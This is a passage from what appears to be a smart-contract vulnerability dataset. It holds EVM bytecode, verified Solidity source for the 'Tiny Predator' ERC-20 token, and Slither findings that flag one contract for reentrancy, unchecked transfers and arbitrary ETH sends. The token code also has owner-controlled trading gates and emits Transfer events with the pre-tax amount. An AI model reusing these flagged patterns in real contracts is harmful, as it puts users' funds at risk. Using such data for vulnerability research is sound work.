001600160a01b03851660009081526004602052604090205460ff16155b80156114d057506001600160a01b03841660009081526004602052604090205460ff16155b156114f0576114de8261173d565b4780156114ee576114ee47611634565b505b50505b6001600160a01b03831660009081526004602052604090205460019060ff168061153557506001600160a01b03831660009081526004602052604090205460ff165b8061156757506014546001600160a01b0385811691161480159061156757506014546001600160a01b03848116911614155b15611574575060006115ee565b6014546001600160a01b03858116911614801561159f57506013546001600160a01b03848116911614155b156115b157600754600b55600854600c555b6014546001600160a01b0384811691161480156115dc57506013546001600160a01b03858116911614155b156115ee57600954600b55600a54600c555b610ddb848484846118e2565b6000818484111561161e5760405162461bcd60e51b81526004016106ee9190612042565b50600061162b8486612191565b95945050505050565b6011546001600160a01b03166108fc61164e836002611910565b6040518115909202916000818181858888f19350505050158015611676573d6000803e3d6000fd5b506012546001600160a01b03166108fc611691836002611910565b6040518115909202916000818181858888f1935050505015801561076d573d6000803e3d6000fd5b60006005548211156117205760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016106ee565b600061172a611952565b90506117368382611910565b9392505050565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061179357634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156117e757600080fd5b505afa1580156117fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061181f9190611d90565b8160018151811061184057634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526013546118669130911684610f45565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac9479061189f9085906000908690309042906004016120ca565b600060405180830381600087803b1580156118b957600080fd5b505af11580156118cd573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b806118ef576118ef611981565b6118fa8484846119af565b80610ddb57610ddb600d54600b55600e54600c55565b600061173683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611aa6565b600080600061196b60055490682423dbc92e6cae240090565b909250905061197a8282611910565b9250505090565b600b541580156119915750600c54155b1561199857565b600b8054600d55600c8054600e5560009182905555565b6000806000806000806119c187611ad4565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506119f39087611b31565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611a229086611b73565b6001600160a01b038916600090815260026020526040902055611a4481611bd2565b611a4e8483611c1c565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611a9391815260200190565b60405180910390a3505050505050505050565b60008183611ac75760405162461bcd60e51b81526004016106ee9190612042565b50600061162b8486612152565b6000806000806000806000806000611af18a600b54600c54611c40565b9250925092506000611b01611952565b90506000806000611b148e878787611c95565b919e509c509a509598509396509194505050505091939550919395565b600061173683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506115fa565b600080611b80838561213a565b9050838110156117365760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016106ee565b6000611bdc611952565b90506000611bea8383611ce5565b30600090815260026020526040902054909150611c079082611b73565b30600090815260026020526040902055505050565b600554611c299083611b31565b600555600654611c399082611b73565b6006555050565b6000808080611c5a6064611c548989611ce5565b90611910565b90506000611c6d6064611c548a89611ce5565b90506000611c8582611c7f8b86611b31565b90611b31565b9992985090965090945050505050565b6000808080611ca48886611ce5565b90506000611cb28887611ce5565b90506000611cc08888611ce5565b90506000611cd282611c7f8686611b31565b939b939a50919850919650505050505050565b600082611cf457506000610782565b6000611d008385612172565b905082611d0d8583612152565b146117365760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016106ee565b8035611d6f816121ef565b919050565b600060208284031215611d85578081fd5b8135611736816121ef565b600060208284031215611da1578081fd5b8151611736816121ef565b60008060408385031215611dbe578081fd5b8235611dc9816121ef565b91506020830135611dd9816121ef565b809150509250929050565b600080600060608486031215611df8578081fd5b8335611e03816121ef565b92506020840135611e13816121ef565b929592945050506040919091013590565b60008060408385031215611e36578182fd5b8235611e41816121ef565b946020939093013593505050565b600080600060408486031215611e63578283fd5b833567ffffffffffffffff80821115611e7a578485fd5b818601915086601f830112611e8d578485fd5b813581811115611e9b578586fd5b8760208260051b8501011115611eaf578586fd5b60209283019550935050840135611ec581612204565b809150509250925092565b60006020808385031215611ee2578182fd5b823567ffffffffffffffff80821115611ef9578384fd5b818501915085601f830112611f0c578384fd5b813581811115611f1e57611f1e6121d9565b8060051b604051601f19603f83011681018181108582111715611f4357611f436121d9565b604052828152858101935084860182860187018a1015611f61578788fd5b8795505b83861015611f8a57611f7681611d64565b855260019590950194938601938601611f65565b5098975050505050505050565b600060208284031215611fa8578081fd5b813561173681612204565b600060208284031215611fc4578081fd5b815161173681612204565b60008060408385031215611dbe578182fd5b600060208284031215611ff2578081fd5b5035919050565b60006020828403121561200a578081fd5b5051919050565b60008060008060808587031215612026578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b8181101561206e57858101830151858201604001528201612052565b8181111561207f5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156121195784516001600160a01b0316835293830193918301916001016120f4565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561214d5761214d6121c3565b500190565b60008261216d57634e487b7160e01b81526012600452602481fd5b500490565b600081600019048311821515161561218c5761218c6121c3565b500290565b6000828210156121a3576121a36121c3565b500390565b60006000198214156121bc576121bc6121c3565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146109ce57600080fd5b80151581146109ce57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220da6af11cb4efd3a628b5c862226bda27fc0a4f8aef3fbada86aefba1ef62e34d64736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 337 |
0x0eb78a591e1251ee36a731821bdcea079726887b | /**
*Submitted for verification at Etherscan.io on 2022-04-08
*/
//SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Auth {
address internal owner;
constructor(address _owner) { owner = _owner; }
modifier onlyOwner() { require(msg.sender == owner, "Only contract owner can call this function"); _; }
function transferOwnership(address payable newOwner) external onlyOwner { owner = newOwner; emit OwnershipTransferred(newOwner); }
event OwnershipTransferred(address owner);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract TinyPredator is IERC20, Auth {
string _name = "Tiny Predator";
string _symbol = "TINYP";
uint8 constant _decimals = 18;
uint256 constant _totalSupply = 696_969_969_969_969 * 1e18;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _allowances;
mapping (address => bool) public noFees;
mapping (address => bool) public noLimits;
mapping (address => bool) private _isLiqPool;
mapping (address => address) private _liqPoolRouterCA;
mapping (address => address) private _liqPoolPairedCA;
address constant _burnWallet = address(0);
bool public tradingOpen;
uint256 private openBlock;
uint256 public maxTxAmount;
uint256 public maxWalletAmount;
uint256 private taxSwapMin;
uint256 private taxSwapMax;
uint8 private constant _maxTaxRate = 3;
uint8 public taxRateSell = _maxTaxRate;
uint8 public taxRateTX = _maxTaxRate;
uint16 private _autoLPShares = 300; // 3% TAX TO LP
uint16 private _totalTaxShares = _autoLPShares;
bool private _inTaxSwap = false;
modifier lockTaxSwap { _inTaxSwap = true; _; _inTaxSwap = false; }
constructor () Auth(msg.sender) {
tradingOpen = false;
maxTxAmount = _totalSupply;
maxWalletAmount = _totalSupply;
taxSwapMin = _totalSupply * 10 / 10000;
taxSwapMax = _totalSupply * 50 / 10000;
noFees[owner] = true;
noFees[address(this)] = true;
noLimits[owner] = true;
noLimits[address(this)] = true;
noLimits[_burnWallet] = true;
_balances[address(owner)] = _totalSupply;
emit Transfer(address(0), address(owner), _totalSupply);
}
receive() external payable {}
function totalSupply() external pure override returns (uint256) { return _totalSupply; }
function decimals() external pure override returns (uint8) { return _decimals; }
function symbol() external view override returns (string memory) { return _symbol; }
function name() external view override returns (string memory) { return _name; }
function getOwner() external view override returns (address) { return owner; }
function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
function approve(address spender, uint256 amount) public override returns (bool) {
require(balanceOf(msg.sender) > 0);
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
require(_checkTradingOpen(msg.sender), "Trading not open");
return _transferFrom(msg.sender, recipient, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
require(_checkTradingOpen(sender), "Trading not open");
if(_allowances[sender][msg.sender] != type(uint256).max) { _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount; }
return _transferFrom(sender, recipient, amount);
}
function setLiquidityPair(address liqPoolAddress, address swapRouterCA, address wethPairedCA, bool enabled) external onlyOwner {
if (tradingOpen) { require(block.number < openBlock, "The token is live and the liquidity pair has already been set"); }
require(liqPoolAddress!=address(this) && swapRouterCA!=address(this) && wethPairedCA!=address(this));
_isLiqPool[liqPoolAddress] = enabled;
_liqPoolRouterCA[liqPoolAddress] = swapRouterCA;
_liqPoolPairedCA[liqPoolAddress] = wethPairedCA;
noLimits[liqPoolAddress] = false;
noFees[liqPoolAddress] = false;
}
function _approveRouter(address routerAddress, uint256 _tokenAmount) internal {
if ( _allowances[address(this)][routerAddress] < _tokenAmount ) {
_allowances[address(this)][routerAddress] = type(uint256).max;
emit Approval(address(this), routerAddress, type(uint256).max);
}
}
function _addLiquidity(address routerAddress, uint256 _tokenAmount, uint256 _ethAmountWei) internal {
address lpTokenRecipient = address(0);
IUniswapV2Router02 dexRouter = IUniswapV2Router02(routerAddress);
dexRouter.addLiquidityETH{value: _ethAmountWei} ( address(this), _tokenAmount, 0, 0, lpTokenRecipient, block.timestamp );
}
function LFG() external onlyOwner {
require(!tradingOpen, "Trading is already open");
openBlock = block.number;
maxTxAmount = 6_969_699_699_699 * 1e18;
maxWalletAmount = maxTxAmount * 2;
tradingOpen = true;
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
require(sender != address(0), "No transfers from zero wallet");
if (!tradingOpen) { require(noFees[sender] && noLimits[sender], "Trading not open"); }
if ( !_inTaxSwap && _isLiqPool[recipient] ) {
_swapTaxAndLiquify(recipient);
}
if ( sender != address(this) && recipient != address(this) && sender != owner ) { require(_checkLimits(recipient, amount), "Transaction exceeds limits"); }
uint256 _taxAmount = _calculateTax(sender, recipient, amount);
uint256 _transferAmount = amount - _taxAmount;
_balances[sender] = _balances[sender] - amount;
if ( _taxAmount > 0 ) { _balances[address(this)] = _balances[address(this)] + _taxAmount; }
_balances[recipient] = _balances[recipient] + _transferAmount;
emit Transfer(sender, recipient, amount);
return true;
}
function _checkLimits(address recipient, uint256 transferAmount) internal view returns (bool) {
bool limitCheckPassed = true;
if ( tradingOpen && !noLimits[recipient] ) {
if ( transferAmount > maxTxAmount ) { limitCheckPassed = false; }
else if ( !_isLiqPool[recipient] && (_balances[recipient] + transferAmount > maxWalletAmount) ) { limitCheckPassed = false; }
}
return limitCheckPassed;
}
function _checkTradingOpen(address sender) private view returns (bool){
bool checkResult = false;
if ( tradingOpen ) { checkResult = true; }
else if ( tx.origin == owner ) { checkResult = true; }
else if (noFees[sender] && noLimits[sender]) { checkResult = true; }
return checkResult;
}
function _calculateTax(address sender, address recipient, uint256 amount) internal view returns (uint256) {
uint256 taxAmount;
if ( !tradingOpen || noFees[sender] || noFees[recipient] ) { taxAmount = 0; }
else if ( _isLiqPool[recipient] ) { taxAmount = amount * taxRateSell / 100; }
else { taxAmount = amount * taxRateTX / 100; }
return taxAmount;
}
function setExemptFromTax(address wallet, bool toggle) external onlyOwner {
noFees[ wallet ] = toggle;
}
function setExemptFromLimits(address wallet, bool setting) external onlyOwner {
noLimits[ wallet ] = setting;
}
function removeLimits() external onlyOwner {
uint256 newTxAmt = _totalSupply;
uint256 newWalletAmt = _totalSupply;
maxTxAmount = newTxAmt;
maxWalletAmount = newWalletAmt;
}
function setTaxSwapLimits(uint32 minValue, uint32 minDivider, uint32 maxValue, uint32 maxDivider) external onlyOwner {
taxSwapMin = _totalSupply * minValue / minDivider;
taxSwapMax = _totalSupply * maxValue / maxDivider;
require(taxSwapMax>=taxSwapMin, "MinMax error");
require(taxSwapMax>_totalSupply / 100000, "Upper threshold too low");
require(taxSwapMax<_totalSupply / 100, "Upper threshold too high");
}
function _swapTaxAndLiquify(address _liqPoolAddress) private lockTaxSwap {
uint256 _taxTokensAvailable = balanceOf(address(this));
if ( _taxTokensAvailable >= taxSwapMin && tradingOpen ) {
if ( _taxTokensAvailable >= taxSwapMax ) { _taxTokensAvailable = taxSwapMax; }
uint256 _tokensForLP = _taxTokensAvailable * _autoLPShares / _totalTaxShares / 2;
uint256 _tokensToSwap = _taxTokensAvailable - _tokensForLP;
if( _tokensToSwap > 10**_decimals ) {
uint256 _ethPreSwap = address(this).balance;
_swapTaxTokensForEth(_liqPoolRouterCA[_liqPoolAddress], _liqPoolPairedCA[_liqPoolAddress], _tokensToSwap);
uint256 _ethSwapped = address(this).balance - _ethPreSwap;
if ( _autoLPShares > 0 ) {
uint256 _ethWeiAmount = _ethSwapped * _autoLPShares / _totalTaxShares ;
_approveRouter(_liqPoolRouterCA[_liqPoolAddress], _tokensForLP);
_addLiquidity(_liqPoolRouterCA[_liqPoolAddress], _tokensForLP, _ethWeiAmount);
}
}
}
}
function _swapTaxTokensForEth(address routerAddress, address pairedCA, uint256 _tokenAmount) private {
_approveRouter(routerAddress, _tokenAmount);
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = pairedCA;
IUniswapV2Router02 dexRouter = IUniswapV2Router02(routerAddress);
dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(_tokenAmount,0,path,address(this),block.timestamp);
}
function taxTokensSwap(address liqPoolAddress) external onlyOwner {
uint256 taxTokenBalance = balanceOf(address(this));
require(taxTokenBalance > 0, "No tokens");
require(_isLiqPool[liqPoolAddress], "Invalid liquidity pool");
_swapTaxTokensForEth(_liqPoolRouterCA[liqPoolAddress], _liqPoolPairedCA[liqPoolAddress], taxTokenBalance);
}
} | 0x60806040526004361061016a5760003560e01c806382cb5bbe116100d1578063aa4bde281161008a578063dd62ed3e11610064578063dd62ed3e14610539578063e4dbc45b14610576578063f2fde38b1461059f578063ffb54a99146105c857610171565b8063aa4bde28146104ba578063b6c76707146104e5578063cc18e05a1461050e57610171565b806382cb5bbe146103aa578063893d20e8146103d35780638c0b5e22146103fe57806395d89b4114610429578063a13d1a2b14610454578063a9059cbb1461047d57610171565b80631b533a9e116101235780631b533a9e1461028657806323b872dd146102b1578063313ce567146102ee5780635ea5208e1461031957806370a0823114610356578063751039fc1461039357610171565b806306fdde03146101765780630925070f146101a1578063095ea7b3146101b857806315b6c176146101f5578063174351e61461021e57806318160ddd1461025b57610171565b3661017157005b600080fd5b34801561018257600080fd5b5061018b6105f3565b604051610198919061294f565b60405180910390f35b3480156101ad57600080fd5b506101b6610685565b005b3480156101c457600080fd5b506101df60048036038101906101da9190612a0a565b6107b0565b6040516101ec9190612a65565b60405180910390f35b34801561020157600080fd5b5061021c60048036038101906102179190612aac565b6108b6565b005b34801561022a57600080fd5b5061024560048036038101906102409190612aec565b61099f565b6040516102529190612a65565b60405180910390f35b34801561026757600080fd5b506102706109bf565b60405161027d9190612b28565b60405180910390f35b34801561029257600080fd5b5061029b6109d5565b6040516102a89190612b5f565b60405180910390f35b3480156102bd57600080fd5b506102d860048036038101906102d39190612b7a565b6109e8565b6040516102e59190612a65565b60405180910390f35b3480156102fa57600080fd5b50610303610bf2565b6040516103109190612b5f565b60405180910390f35b34801561032557600080fd5b50610340600480360381019061033b9190612aec565b610bfb565b60405161034d9190612a65565b60405180910390f35b34801561036257600080fd5b5061037d60048036038101906103789190612aec565b610c1b565b60405161038a9190612b28565b60405180910390f35b34801561039f57600080fd5b506103a8610c64565b005b3480156103b657600080fd5b506103d160048036038101906103cc9190612bcd565b610d2a565b005b3480156103df57600080fd5b506103e86110c4565b6040516103f59190612c43565b60405180910390f35b34801561040a57600080fd5b506104136110ed565b6040516104209190612b28565b60405180910390f35b34801561043557600080fd5b5061043e6110f3565b60405161044b919061294f565b60405180910390f35b34801561046057600080fd5b5061047b60048036038101906104769190612aac565b611185565b005b34801561048957600080fd5b506104a4600480360381019061049f9190612a0a565b61126e565b6040516104b19190612a65565b60405180910390f35b3480156104c657600080fd5b506104cf6112cb565b6040516104dc9190612b28565b60405180910390f35b3480156104f157600080fd5b5061050c60048036038101906105079190612aec565b6112d1565b005b34801561051a57600080fd5b50610523611508565b6040516105309190612b5f565b60405180910390f35b34801561054557600080fd5b50610560600480360381019061055b9190612c5e565b61151b565b60405161056d9190612b28565b60405180910390f35b34801561058257600080fd5b5061059d60048036038101906105989190612cda565b6115a2565b005b3480156105ab57600080fd5b506105c660048036038101906105c19190612d7f565b6117a9565b005b3480156105d457600080fd5b506105dd6118b1565b6040516105ea9190612a65565b60405180910390f35b60606001805461060290612ddb565b80601f016020809104026020016040519081016040528092919081815260200182805461062e90612ddb565b801561067b5780601f106106505761010080835404028352916020019161067b565b820191906000526020600020905b81548152906001019060200180831161065e57829003601f168201915b5050505050905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610713576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161070a90612e7f565b60405180910390fd5b600a60009054906101000a900460ff1615610763576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075a90612eeb565b60405180910390fd5b43600b819055506c57f850778742dcdeaf2fec0000600c819055506002600c5461078d9190612f3a565b600d819055506001600a60006101000a81548160ff021916908315150217905550565b6000806107bc33610c1b565b116107c657600080fd5b81600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516108a49190612b28565b60405180910390a36001905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610944576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093b90612e7f565b60405180910390fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60056020528060005260406000206000915054906101000a900460ff1681565b60006d225cff6eb0d9dbd83adad6240000905090565b601060019054906101000a900460ff1681565b60006109f3846118c4565b610a32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2990612fe0565b60405180910390fd5b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610bde5781600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b5d9190613000565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610be98484846119fd565b90509392505050565b60006012905090565b60066020528060005260406000206000915054906101000a900460ff1681565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610cf2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce990612e7f565b60405180910390fd5b60006d225cff6eb0d9dbd83adad6240000905060006d225cff6eb0d9dbd83adad6240000905081600c8190555080600d819055505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610db8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610daf90612e7f565b60405180910390fd5b600a60009054906101000a900460ff1615610e1257600b544310610e11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e08906130a6565b60405180910390fd5b5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610e7a57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610eb257503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b610ebb57600080fd5b80600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555082600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600c5481565b60606002805461110290612ddb565b80601f016020809104026020016040519081016040528092919081815260200182805461112e90612ddb565b801561117b5780601f106111505761010080835404028352916020019161117b565b820191906000526020600020905b81548152906001019060200180831161115e57829003601f168201915b5050505050905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611213576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120a90612e7f565b60405180910390fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000611279336118c4565b6112b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112af90612fe0565b60405180910390fd5b6112c33384846119fd565b905092915050565b600d5481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461135f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135690612e7f565b60405180910390fd5b600061136a30610c1b565b9050600081116113af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a690613112565b60405180910390fd5b600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661143b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114329061317e565b60405180910390fd5b611504600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683611f2d565b5050565b601060009054906101000a900460ff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611630576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162790612e7f565b60405180910390fd5b8263ffffffff168463ffffffff166d225cff6eb0d9dbd83adad62400006116579190612f3a565b61166191906131cd565b600e819055508063ffffffff168263ffffffff166d225cff6eb0d9dbd83adad624000061168e9190612f3a565b61169891906131cd565b600f81905550600e54600f5410156116e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116dc9061324a565b60405180910390fd5b620186a06d225cff6eb0d9dbd83adad624000061170291906131cd565b600f5411611745576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173c906132b6565b60405180910390fd5b60646d225cff6eb0d9dbd83adad624000061176091906131cd565b600f54106117a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161179a90613322565b60405180910390fd5b50505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611837576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182e90612e7f565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc686163816040516118a691906133a1565b60405180910390a150565b600a60009054906101000a900460ff1681565b60008060009050600a60009054906101000a900460ff16156118e957600190506119f4565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff16141561194657600190506119f3565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156119e85750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156119f257600190505b5b5b80915050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611a6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a6590613408565b60405180910390fd5b600a60009054906101000a900460ff16611b6457600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611b245750600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611b63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5a90612fe0565b60405180910390fd5b5b601060069054906101000a900460ff16158015611bca5750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611bd957611bd8836120a3565b5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611c4157503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611c99575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611ce857611ca883836123a9565b611ce7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cde90613474565b60405180910390fd5b5b6000611cf58585856124e9565b905060008184611d059190613000565b905083600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d529190613000565b600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000821115611e2d5781600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611de99190613494565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b80600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e7891906134945